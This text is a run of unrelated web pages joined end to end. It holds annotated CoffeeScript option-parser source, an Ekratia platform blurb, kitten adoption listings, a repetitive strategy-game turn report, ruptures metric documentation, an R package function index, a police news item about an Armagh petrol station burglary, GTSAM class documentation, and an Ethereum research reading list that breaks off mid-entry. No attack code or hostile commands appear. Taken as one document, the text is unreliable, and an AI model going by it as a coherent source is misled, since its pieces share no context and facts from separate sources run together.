{repeat} = require './helpers'
{repeat} = require './helpers'
A simple OptionParser class to parse option flags from the command-line. Use it like so:
parser = new OptionParser switches, helpBanner
options = parser.parse process.argv
The first non-option is considered to be the start of the file (and file option) list, and all subsequent arguments are left unparsed.
The coffee
command uses an instance of OptionParser to parse its
command-line arguments in src/command.coffee
.
exports.OptionParser = class OptionParser
Initialize with a list of valid options, in the form:
[short-flag, long-flag, description]
Along with an optional banner for the usage help.
constructor: (ruleDeclarations, @banner) ->
@rules = buildRules ruleDeclarations
Parse the list of arguments, populating an options
object with all of the
specified options, and return it. Options after the first non-option
argument are treated as arguments. options.arguments
will be an array
containing the remaining arguments. This is a simpler API than many option
parsers that allow you to attach callback actions for every flag. Instead,
you’re responsible for interpreting the options object.
parse: (args) ->
The CoffeeScript option parser is a little odd; options after the first
non-option argument are treated as non-option arguments themselves.
Optional arguments are normalized by expanding merged flags into multiple
flags. This allows you to have -wl
be the same as --watch --lint
.
Note that executable scripts with a shebang (#!
) line should use the
line #!/usr/bin/env coffee
, or #!/absolute/path/to/coffee
, without a
--
argument after, because that will fail on Linux (see #3946).
{rules, positional} = normalizeArguments args, @rules.flagDict
options = {}
The argument
field is added to the rule instance non-destructively by
normalizeArguments
.
for {hasArgument, argument, isList, name} in rules
if hasArgument
if isList
options[name] ?= []
options[name].push argument
else
options[name] = argument
else
options[name] = true
if positional[0] is '--'
options.doubleDashed = yes
positional = positional[1..]
options.arguments = positional
options
Return the help text for this OptionParser, listing and describing all
of the valid options, for --help
and such.
help: ->
lines = []
lines.unshift "#{@banner}\n" if @banner
for rule in @rules.ruleList
spaces = 15 - rule.longFlag.length
spaces = if spaces > 0 then repeat ' ', spaces else ''
letPart = if rule.shortFlag then rule.shortFlag + ', ' else ' '
lines.push ' ' + letPart + rule.longFlag + spaces + rule.description
"\n#{ lines.join('\n') }\n"
Regex matchers for option flags on the command line and their rules.
LONG_FLAG = /^(--\w[\w\-]*)/
SHORT_FLAG = /^(-\w)$/
MULTI_FLAG = /^-(\w{2,})/
Matches the long flag part of a rule for an option with an argument. Not applied to anything in process.argv.
OPTIONAL = /\[(\w+(\*?))\]/
Build and return the list of option rules. If the optional short-flag is
unspecified, leave it out by padding with null
.
buildRules = (ruleDeclarations) ->
ruleList = for tuple in ruleDeclarations
tuple.unshift null if tuple.length < 3
buildRule tuple...
flagDict = {}
for rule in ruleList
shortFlag
is null if not provided in the rule.
for flag in [rule.shortFlag, rule.longFlag] when flag?
if flagDict[flag]?
throw new Error "flag #{flag} for switch #{rule.name}
was already declared for switch #{flagDict[flag].name}"
flagDict[flag] = rule
{ruleList, flagDict}
Build a rule from a -o
short flag, a --output [DIR]
long flag, and the
description of what the option does.
buildRule = (shortFlag, longFlag, description) ->
match = longFlag.match(OPTIONAL)
shortFlag = shortFlag?.match(SHORT_FLAG)[1]
longFlag = longFlag.match(LONG_FLAG)[1]
{
name: longFlag.replace /^--/, ''
shortFlag: shortFlag
longFlag: longFlag
description: description
hasArgument: !!(match and match[1])
isList: !!(match and match[2])
}
normalizeArguments = (args, flagDict) ->
rules = []
positional = []
needsArgOpt = null
for arg, argIndex in args
If the previous argument given to the script was an option that uses the
next command-line argument as its argument, create copy of the option’s
rule with an argument
field.
if needsArgOpt?
withArg = Object.assign {}, needsArgOpt.rule, {argument: arg}
rules.push withArg
needsArgOpt = null
continue
multiFlags = arg.match(MULTI_FLAG)?[1]
.split('')
.map (flagName) -> "-#{flagName}"
if multiFlags?
multiOpts = multiFlags.map (flag) ->
rule = flagDict[flag]
unless rule?
throw new Error "unrecognized option #{flag} in multi-flag #{arg}"
{rule, flag}
Only the last flag in a multi-flag may have an argument.
[innerOpts..., lastOpt] = multiOpts
for {rule, flag} in innerOpts
if rule.hasArgument
throw new Error "cannot use option #{flag} in multi-flag #{arg} except
as the last option, because it needs an argument"
rules.push rule
if lastOpt.rule.hasArgument
needsArgOpt = lastOpt
else
rules.push lastOpt.rule
else if ([LONG_FLAG, SHORT_FLAG].some (pat) -> arg.match(pat)?)
singleRule = flagDict[arg]
unless singleRule?
throw new Error "unrecognized option #{arg}"
if singleRule.hasArgument
needsArgOpt = {rule: singleRule, flag: arg}
else
rules.push singleRule
else
This is a positional argument.
positional = args[argIndex..]
break
if needsArgOpt?
throw new Error "value required for #{needsArgOpt.flag}, but it was the last
argument provided"
{rules, positional}


Ekratia is a new way of making democracy. Members of Ekratia use the Internet to vote directly for new ideas and laws. In case they are too busy to vote, members can delegate their vote to other members. Members can change their delegates on real time.
Vote directly or delegate your votes to others.
Start and participate in intelligent conversations.
Propose and vote for laws and programs.
Ekratia is build on transparency.
Ekratia is a fully transparent open source effort improved and audited by software developers around the world. Ekratia was founded in 2015 by Alex Torrenegra, Amaury Prieto, Cristian Chaparro, Daniel Garcia, and Esteban Contreras.


MOST ADORABLE KITTENS
Type
Color
Age
Tiger.
Domestic Shorthairthe Kitty is curious about so many things, exploring and learning how fun life can be. He would be a great addition to any feline family.
 She was born about 5-31-20.
Raja
Domestic Long HairRaja is an orange long-haired tabby with white markings. This sweet, adorable young cat was born 04-10-20.
 Donkey and his littermates were found cast in a dumpster in Anchorage.
Aphrodite
Domestic Short HairAphrodite is a beautiful white female cat with gray arrow on the top of her head. Her estimated date of birth is January 2019.


If you contribute a question, everybody will benefit from it. Please enter at least two wrong answers. Questions already been included can be seen here.
Congratulation
Mistake found
List of all questions
List of all questions having been included. In case you observe an error, do not hesitate to contact me.


Ocean [am12], ocean, in The Outer Sea
Last updated Turn #134
Ocean [am12], ocean, in The Outer Sea
------------------------------------------------------------------------
23: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
23: Halon [157], with 50 nazgul, arrived from the south, accompanied by:
23: Phantom III [d6x], Imperial Empire, priest of the Church of
23: Dol [153], with 18 nazgul
23: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
23: with five angels
23: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
23: with five angels, 54 hvy. xbowmen, seven nazgul
23: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
23: Dol [153], with ten workers, 50 hvy. xbowmen, six nazgul
23: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
23: with five angels, 50 hvy. xbowmen
23: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
23: Thorg [j8u], Imperial Empire, with one warmount
23: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
23: of Halon [157], with ten angels, 52 hvy. xbowmen
23: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
23: with 15 nazgul
23: Firefly [f3f], Imperial Empire, priest of the Church of
23: Halon [157], with 50 hvy. xbowmen
23: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
23: Halon [157], with five angels, 40 nazgul
23: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
23: with 52 hvy. xbowmen, five nazgul
23: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
23: of Halon [157], with 53 nazgul
23: Sir Peter [u9p], Imperial Empire, with 37 peasants
23: George [p7f], Imperial Empire, earl, priest of the Church of
23: Dol [153], with 31 nazgul
23: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
23: with 49 nazgul, six peasants, four skirmishers
23: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
23: Osmosis [o2n], Imperial Empire, priest of the Church of
23: Halon [157], with 43 nazgul
23: Stefano [t8e], Imperial Empire, Bishop of the Church of
23: Halon [157], with five angels, 50 nazgul
23: Sir Andrew [v9a], Imperial Empire, priest of the Church of
23: Halon [157], with 50 nazgul, five soldiers
23: Sir Charles [j5r], Imperial Empire, priest of the Church of
23: Halon [157], with 50 nazgul, five soldiers
24: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
24: Halon [157], with 50 nazgul, entered Island [ab2m], accompanied by:
24: Phantom III [d6x], Imperial Empire, priest of the Church of
24: Dol [153], with 18 nazgul
24: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
24: with five angels
24: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
24: with five angels, 54 hvy. xbowmen, seven nazgul
24: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
24: Dol [153], with ten workers, 50 hvy. xbowmen, six nazgul
24: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
24: with five angels, 50 hvy. xbowmen
24: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
24: Thorg [j8u], Imperial Empire, with one warmount
24: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
24: of Halon [157], with ten angels, 52 hvy. xbowmen
24: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
24: with 15 nazgul
24: Firefly [f3f], Imperial Empire, priest of the Church of
24: Halon [157], with 50 hvy. xbowmen
24: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
24: Halon [157], with five angels, 40 nazgul
24: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
24: with 52 hvy. xbowmen, five nazgul
24: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
24: of Halon [157], with 53 nazgul
24: Sir Peter [u9p], Imperial Empire, with 37 peasants
24: George [p7f], Imperial Empire, earl, priest of the Church of
24: Dol [153], with 31 nazgul
24: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
24: with 49 nazgul, five peasants, five skirmishers
24: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
24: Osmosis [o2n], Imperial Empire, priest of the Church of
24: Halon [157], with 43 nazgul
24: Stefano [t8e], Imperial Empire, Bishop of the Church of
24: Halon [157], with five angels, 50 nazgul
24: Sir Andrew [v9a], Imperial Empire, priest of the Church of
24: Halon [157], with 50 nazgul, five soldiers
24: Sir Charles [j5r], Imperial Empire, priest of the Church of
24: Halon [157], with 50 nazgul, five soldiers
24: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
24: Halon [157], with 50 nazgul, arrived from Ocean [am12],
24: accompanied by:
24: Phantom III [d6x], Imperial Empire, priest of the Church of
24: Dol [153], with 18 nazgul
24: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
24: with five angels
24: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
24: with five angels, 54 hvy. xbowmen, seven nazgul
24: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
24: Dol [153], with ten workers, 50 hvy. xbowmen, six nazgul
24: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
24: with five angels, 50 hvy. xbowmen
24: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
24: Thorg [j8u], Imperial Empire, with one warmount
24: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
24: of Halon [157], with ten angels, 52 hvy. xbowmen
24: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
24: with 15 nazgul
24: Firefly [f3f], Imperial Empire, priest of the Church of
24: Halon [157], with 50 hvy. xbowmen
24: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
24: Halon [157], with five angels, 40 nazgul
24: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
24: with 52 hvy. xbowmen, five nazgul
24: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
24: of Halon [157], with 53 nazgul
24: Sir Peter [u9p], Imperial Empire, with 37 peasants
24: George [p7f], Imperial Empire, earl, priest of the Church of
24: Dol [153], with 31 nazgul
24: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
24: with 49 nazgul, five peasants, five skirmishers
24: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
24: Osmosis [o2n], Imperial Empire, priest of the Church of
24: Halon [157], with 43 nazgul
24: Stefano [t8e], Imperial Empire, Bishop of the Church of
24: Halon [157], with five angels, 50 nazgul
24: Sir Andrew [v9a], Imperial Empire, priest of the Church of
24: Halon [157], with 50 nazgul, five soldiers
24: Sir Charles [j5r], Imperial Empire, priest of the Church of
24: Halon [157], with 50 nazgul, five soldiers
25: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
25: Halon [157], with 50 nazgul, exited Island [ab2m], accompanied by:
25: Phantom III [d6x], Imperial Empire, priest of the Church of
25: Dol [153], with 18 nazgul
25: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
25: with five angels
25: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
25: with five angels, 54 hvy. xbowmen, eight nazgul
25: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
25: Dol [153], with ten workers, 50 hvy. xbowmen, seven nazgul
25: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
25: with five angels, 50 hvy. xbowmen
25: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
25: Thorg [j8u], Imperial Empire, with one warmount
25: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
25: of Halon [157], with ten angels, 52 hvy. xbowmen
25: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
25: with 15 nazgul
25: Firefly [f3f], Imperial Empire, priest of the Church of
25: Halon [157], with 50 hvy. xbowmen
25: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
25: Halon [157], with five angels, 40 nazgul
25: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
25: with 52 hvy. xbowmen, five nazgul
25: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
25: of Halon [157], with 53 nazgul
25: Sir Peter [u9p], Imperial Empire, with 37 peasants
25: George [p7f], Imperial Empire, earl, priest of the Church of
25: Dol [153], with 31 nazgul
25: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
25: with 49 nazgul, five peasants, five skirmishers
25: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
25: Osmosis [o2n], Imperial Empire, priest of the Church of
25: Halon [157], with 43 nazgul
25: Stefano [t8e], Imperial Empire, Bishop of the Church of
25: Halon [157], with five angels, 50 nazgul
25: Sir Andrew [v9a], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
25: Sir Charles [j5r], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
25: Pirate [av3k] attacks Captain Kraken [k3k]!
25:
25: Pirate [av3k], pirates, number: 16
25:
25: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church
25: of Halon [157], with 50 nazgul, accompanied by:
25: Phantom III [d6x], Imperial Empire, priest of the Church of
25: Dol [153], behind 9, with 18 nazgul
25: Veejay [v8j], Imperial Empire, Bishop of the Church of
25: Ham [155], behind 5, with five angels
25: Goon III [b9v], Imperial Empire, Bishop of the Church of
25: Dol [153], behind 4, with five angels, 54 hvy. xbowmen,
25: eight nazgul
25: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church
25: of Dol [153], behind 3, with ten workers, 50 hvy. xbowmen,
25: seven nazgul
25: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
25: behind 6, with five angels, 50 hvy. xbowmen
25: Odin [y5z], Imperial Empire, behind 7, with 55 hvy. xbowmen
25: Thorg [j8u], Imperial Empire, with one warmount
25: Jupiter [m8j], Imperial Empire, duke, the High Priest of the
25: Church of Halon [157], behind 5, with ten angels, 52 hvy.
25: xbowmen
25: Dryeth [q4e], Imperial Empire, priest of the Church of
25: Dol [153], behind 5, with 15 nazgul
25: Firefly [f3f], Imperial Empire, priest of the Church of
25: Halon [157], behind 9, with 50 hvy. xbowmen
25: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
25: Halon [157], with five angels, 40 nazgul
25: Thomas [o5y], Imperial Empire, priest of the Church of
25: Dol [153], behind 7, with 52 hvy. xbowmen, five nazgul
25: Alexei Galantor [j7l], Imperial Empire, earl, priest of the
25: Church of Halon [157], with 53 nazgul
25: Sir Peter [u9p], Imperial Empire, behind 9, with 37 peasants
25: George [p7f], Imperial Empire, earl, priest of the Church of
25: Dol [153], behind 8, with 31 nazgul
25: Lucca [h0t], Imperial Empire, priest of the Church of
25: Halon [157], with 49 nazgul, five peasants, five skirmishers
25: Johny [w2d], Imperial Empire, priest of the Church of
25: Halon [157]
25: Osmosis [o2n], Imperial Empire, priest of the Church of
25: Halon [157], with 43 nazgul
25: Stefano [t8e], Imperial Empire, Bishop of the Church of
25: Halon [157], with five angels, 50 nazgul
25: Sir Andrew [v9a], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
25: Sir Charles [j5r], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
25:
25: Initial missile round for the defense (Captain Kraken [k3k]):
25: 328 missiles hit!
25: Pirate [av3k] loses 15 pirates [24].
25:
25: Combat round: one
25: Special attacks phase:
25: Thorg [j8u] dashes out and attacks!
25: Pirate [av3k] suffers a hit!
25:
25: Captain Kraken [k3k] is victorious!
25:
25: Pirate lost 15 pirates.
25: Pirate [av3k] was killed.
25:
25: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
25: Halon [157], with 50 nazgul, arrived from Island [ab2m],
25: accompanied by:
25: Phantom III [d6x], Imperial Empire, priest of the Church of
25: Dol [153], with 18 nazgul
25: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
25: with five angels
25: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
25: with five angels, 54 hvy. xbowmen, eight nazgul
25: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
25: Dol [153], with ten workers, 50 hvy. xbowmen, seven nazgul
25: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
25: with five angels, 50 hvy. xbowmen
25: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
25: Thorg [j8u], Imperial Empire, with one warmount
25: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
25: of Halon [157], with ten angels, 52 hvy. xbowmen
25: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
25: with 15 nazgul
25: Firefly [f3f], Imperial Empire, priest of the Church of
25: Halon [157], with 50 hvy. xbowmen
25: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
25: Halon [157], with five angels, 40 nazgul
25: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
25: with 52 hvy. xbowmen, five nazgul
25: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
25: of Halon [157], with 53 nazgul
25: Sir Peter [u9p], Imperial Empire, with 37 peasants
25: George [p7f], Imperial Empire, earl, priest of the Church of
25: Dol [153], with 31 nazgul
25: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
25: with 49 nazgul, five peasants, five skirmishers
25: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
25: Osmosis [o2n], Imperial Empire, priest of the Church of
25: Halon [157], with 43 nazgul
25: Stefano [t8e], Imperial Empire, Bishop of the Church of
25: Halon [157], with five angels, 50 nazgul
25: Sir Andrew [v9a], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
25: Sir Charles [j5r], Imperial Empire, priest of the Church of
25: Halon [157], with 50 nazgul, five soldiers
26: Captain Kraken [k3k], Imperial Empire, earl, priest of the Church of
26: Halon [157], with 50 nazgul, went east, accompanied by:
26: Phantom III [d6x], Imperial Empire, priest of the Church of
26: Dol [153], with 18 nazgul
26: Veejay [v8j], Imperial Empire, Bishop of the Church of Ham [155],
26: with five angels
26: Goon III [b9v], Imperial Empire, Bishop of the Church of Dol [153],
26: with five angels, 54 hvy. xbowmen, eight nazgul
26: Lord Rodrigo Bane [c8b], Imperial Empire, priest of the Church of
26: Dol [153], with ten workers, 50 hvy. xbowmen, seven nazgul
26: Licia [i1l], Imperial Empire, Bishop of the Church of Ham [155],
26: with five angels, 50 hvy. xbowmen
26: Odin [y5z], Imperial Empire, with 55 hvy. xbowmen
26: Thorg [j8u], Imperial Empire, with one warmount
26: Jupiter [m8j], Imperial Empire, duke, the High Priest of the Church
26: of Halon [157], with ten angels, 52 hvy. xbowmen
26: Dryeth [q4e], Imperial Empire, priest of the Church of Dol [153],
26: with 15 nazgul
26: Firefly [f3f], Imperial Empire, priest of the Church of
26: Halon [157], with 50 hvy. xbowmen
26: Sunwalker [a8x], Imperial Empire, earl, Bishop of the Church of
26: Halon [157], with five angels, 40 nazgul
26: Thomas [o5y], Imperial Empire, priest of the Church of Dol [153],
26: with 52 hvy. xbowmen, five nazgul
26: Alexei Galantor [j7l], Imperial Empire, earl, priest of the Church
26: of Halon [157], with 53 nazgul
26: Sir Peter [u9p], Imperial Empire, with 37 peasants
26: George [p7f], Imperial Empire, earl, priest of the Church of
26: Dol [153], with 31 nazgul
26: Lucca [h0t], Imperial Empire, priest of the Church of Halon [157],
26: with 49 nazgul, five peasants, five skirmishers
26: Johny [w2d], Imperial Empire, priest of the Church of Halon [157]
26: Osmosis [o2n], Imperial Empire, priest of the Church of
26: Halon [157], with 43 nazgul
26: Stefano [t8e], Imperial Empire, Bishop of the Church of
26: Halon [157], with five angels, 50 nazgul
26: Sir Andrew [v9a], Imperial Empire, priest of the Church of
26: Halon [157], with 50 nazgul, five soldiers
26: Sir Charles [j5r], Imperial Empire, priest of the Church of
26: Halon [157], with 50 nazgul, five soldiers
Routes leaving Ocean:
North, plain, to Herberon Fields [al12], Mandoria, 2 days
East, plain, to Herberon Fields [am13], Mandoria, 2 days
South, to Ocean [an12], 6 days
West, to Ocean [am11], 6 days
Inner locations:
Island [ab2m], island, 1 day


Precision and recall¶
Description¶
A true changepoint is declared “detected” (or positive) if there is at least one computed changepoint at less than “margin” points from it. Formally, assume a set of change point indexes \(t_1,t_2,\dots\) and their estimates \(\hat{t}_1, \hat{t}_2,\dots\) In the context of change point detection, precision and recall are defined as follows:
\[\text{precision}:=|\text{TP}|/|\{\hat{t}_l\}_l| \quad \text{and}\quad\text{recall}:=|\text{TP}|/|\{t_k\}_k|\]
where, for a given margin \(M\), true positives \(\text{TP}\) are true change points for which there is an estimated one at less than \(M\) samples, i.e
\[\text{TP}:= \{t_k\,|\, \exists\, \hat{t}_l\,\, \text{s.t.}\, |\hat{t}_l - t_k|<M \}.\]
Usage¶
Start with the usual imports and create two segmentations to compare.
from ruptures.metrics import precision_recall
bkps1, bkps2 = [100, 200, 500], [105, 115, 350, 400, 500]
p, r = precision_recall(bkps1, bkps2)
print((p, r))
The margin paramater \(M\) can be changed through the keyword 'margin'
(default is 10 samples).
p, r = precision_recall(bkps1, bkps2, margin=10)
print((p, r))
p, r = precision_recall(bkps1, bkps2, margin=20)
print((p, r))
Code explanation¶
-
ruptures.metrics.precisionrecall.
precision_recall
(true_bkps, my_bkps, margin=10)[source]¶ Calculate the precision/recall of an estimated segmentation compared with the true segmentation.
- Parameters
true_bkps (list) – list of the last index of each regime (true partition).
my_bkps (list) – list of the last index of each regime (computed partition).
margin (int, optional) – allowed error (in points).
- Returns
(precision, recall)
- Return type
tuple


All functions |
|
|---|---|
Compute the targeted conditional cumulative distribution of the learner at a point |
|
Compute the targeted conditional cumulative distribution of the learner at a point where the initial distribution is based on cross validation |
|
adult |
|
bank |
|
Compute the bootstrap-corrected estimator of AUC. |
|
Compute the bootstrap-corrected estimator of SCRNP. |
|
Cardiotocography |
|
ci.cvAUC_withIC |
|
Estimates of CVAUC |
|
Estimates of CV SCNP |
|
Compute one of the terms of the efficient influence function |
|
An estimating function for cvAUC |
|
An estimating function for cvAUC with initial estimates generated via nested cross-validation |
|
Compute the AUC given the cdf and pdf of psi |
|
Helper function to turn prediction_list into CV estimate of SCRNP |
|
Function to estimate density needed to evaluate standard errors. |
|
Helper function to get quantile for a single training fold data when nested CV is used. |
|
Helper function to get results for a single cross-validation fold |
|
Worker function for fitting prediction functions (possibly in parallel) |
|
Compute the conditional (given Y = y) estimated distribution of psi |
|
Compute the conditional (given Y = y) CV-estimated distribution of psi |
|
Helper function to get quantile for a single training fold data when nested CV is NOT used. |
|
Worker function to make long form data set needed for CVTMLE targeting step |
|
Worker function to make long form data set needed for CVTMLE targeting step when nested cv is used |
|
Helper function for making data set in proper format for CVTMLE |
|
Unexported function from cvAUC package |
|
drugs |
|
Helper function for CVTMLE grid search |
|
Helper function for CVTMLE grid search |
|
Wrapper for fitting a logistic regression using |
|
Wrapper for fitting a lasso using package |
|
Compute the leave-pair-out cross-validation estimator of AUC. |
|
Internal function used to perform one bootstrap sample. The function
|
|
Internal function used to perform one bootstrap sample. The function
|
|
Print results of cv_auc |
|
Print results of cv_scrnp |
|
Wrapper for fitting a random forest using randomForest. |
|
Wrapper for fitting a random forest using ranger. |
|
Wrapper for fitting a forward stepwise logistic regression using |
|
Wrapper for fitting a super learner based on |
|
wine |
|
Wrapper for fitting eXtreme gradient boosting via |


Police appeal after car reverses into front of Armagh petrol station
by SUZANNE MCGONAGLEPOLICE have appealed for witnesses after a car reversed into the front of a petrol station during a burglary in Armagh.
Four men in the vehicle then stole money and cigarettes from the store in Railway Street early this morning.
A PSNI spokesman said: "Shortly after 2.35am, it was reported that a Mazda car reversed into the front of a petrol station in the area causing damage to the property.
"Four men inside the car then entered the premises before making off with a sum of money and a quantity of cigarettes.
"The men made off in the car towards the Richhill area following the incident.
"Enquiries are continuing and we would appeal to anyone who witnessed the incident or who saw anything suspicious in the area to contact police."


PreintegratedAHRSMeasurements accumulates (integrates) the Gyroscope measurements (rotation rates) and the corresponding covariance matrix.
Can be built incrementally so as to avoid costly integration at time of factor construction.
|
|
| PreintegratedAhrsMeasurements () |
| | Default constructor, only for serialization and Cython wrapper.
|
| |
| | PreintegratedAhrsMeasurements (const boost::shared_ptr< Params > &p, const Vector3 &biasHat) |
| | Default constructor, initialize with no measurements. More...
|
| |
|
const Params & | p () const |
| |
|
const Vector3 & | biasHat () const |
| |
|
const Matrix3 & | preintMeasCov () const |
| |
|
void | print (const std::string &s="Preintegrated Measurements: ") const |
| | print
|
| |
|
bool | equals (const PreintegratedAhrsMeasurements &, double tol=1e-9) const |
| | equals
|
| |
|
void | resetIntegration () |
| | Reset inetgrated quantities to zero.
|
| |
| void | integrateMeasurement (const Vector3 &measuredOmega, double deltaT) |
| | Add a single Gyroscope measurement to the preintegration. More...
|
| |
|
Vector3 | predict (const Vector3 &bias, OptionalJacobian< 3, 3 > H=boost::none) const |
| | Predict bias-corrected incremental rotation TODO: The matrix Hbias is the derivative of predict? Unit-test?
|
| |
| | PreintegratedAhrsMeasurements (const Vector3 &biasHat, const Matrix3 &measuredOmegaCovariance) |
| |
|
| PreintegratedRotation (const boost::shared_ptr< Params > &p) |
| | Default constructor, resets integration to zero.
|
| |
|
| PreintegratedRotation (const boost::shared_ptr< Params > &p, double deltaTij, const Rot3 &deltaRij, const Matrix3 &delRdelBiasOmega) |
| | Explicit initialization of all class members.
|
| |
|
void | resetIntegration () |
| | Re-initialize PreintegratedMeasurements.
|
| |
|
bool | matchesParamsWith (const PreintegratedRotation &other) const |
| | check parameters equality: checks whether shared pointer points to same Params object.
|
| |
|
const boost::shared_ptr< Params > & | params () const |
| |
|
const double & | deltaTij () const |
| |
|
const Rot3 & | deltaRij () const |
| |
|
const Matrix3 & | delRdelBiasOmega () const |
| |
|
void | print (const std::string &s) const |
| |
|
bool | equals (const PreintegratedRotation &other, double tol) const |
| |
| Rot3 | incrementalRotation (const Vector3 &measuredOmega, const Vector3 &biasHat, double deltaT, OptionalJacobian< 3, 3 > D_incrR_integratedOmega) const |
| | Take the gyro measurement, correct it using the (constant) bias estimate and possibly the sensor pose, and then integrate it forward in time to yield an incremental rotation. More...
|
| |
| void | integrateMeasurement (const Vector3 &measuredOmega, const Vector3 &biasHat, double deltaT, OptionalJacobian< 3, 3 > D_incrR_integratedOmega=boost::none, OptionalJacobian< 3, 3 > F=boost::none) |
| | Calculate an incremental rotation given the gyro measurement and a time interval, and update both deltaTij_ and deltaRij_. More...
|
| |
|
Rot3 | biascorrectedDeltaRij (const Vector3 &biasOmegaIncr, OptionalJacobian< 3, 3 > H=boost::none) const |
| | Return a bias corrected version of the integrated rotation, with optional Jacobian.
|
| |
|
Vector3 | integrateCoriolis (const Rot3 &rot_i) const |
| | Integrate coriolis correction in body frame rot_i.
|
| |


writing
==========================================================================================
2023
→ FAQ on EIP-7251; Increasing the MAX_EFFECTIVE_BALANCE
by Mike, Francesco, Dapplion, and Mikhail
https://notes.ethereum.org/@mikeneuder/eip-7251-faq
------------------------------------------------------------------------------------------
→ Payload-timeliness committee (PTC) – an ePBS design
by Mike Neuder and Francesco D'Amato based on discussions with Potuz and Terence Tsao
https://ethresear.ch/t/payload-timeliness-committee-ptc-an-epbs-design/16054
------------------------------------------------------------------------------------------
→ Increase the MAX_EFFECTIVE_BALANCE – a modest proposal
by Mike Neuder, Francesco D'Amato, Aditya Asgaonkar, and Justin Drake
https://ethresear.ch/t/increase-the-max-effective-balance-a-modest-proposal/15801
------------------------------------------------------------------------------------------
→ Why enshrine Proposer-Builder Separation? A viable path to ePBS
by Mike Neuder and Justin Drake
https://ethresear.ch/t/why-enshrine-proposer-builder-separation-a-viable-path-to-epbs/15710
------------------------------------------------------------------------------------------
→ Bid cancellations considered harmful
by Mike Neuder and Thomas Thiery
https://ethresear.ch/t/bid-cancellations-considered-harmful/15500
------------------------------------------------------------------------------------------
→ Time, slots, and the ordering of events in Ethereum Proof-of-Stake
by Georgios Konstantopoulos and Mike Neuder
https://www.paradigm.xyz/2023/04/mev-boost-ethereum-consensus
------------------------------------------------------------------------------------------
→ Optimistic relays and where to find them
by Ankit Chiplunkar and Mike Neuder
https://frontier.tech/optimistic-relays-and-where-to-find-them
------------------------------------------------------------------------------------------
→ Equivocation attacks in mev-boost and ePBS
by Francesco D'Amato and Mike Neuder
https://ethresear.ch/t/equivocation-attacks-in-mev-boost-and-epbs/15338
------------------------------------------------------------------------------------------
→ Impact of the Prysm invalid signature bug on the mev-boost ecosystem
by Mike Neuder and Chris Hager
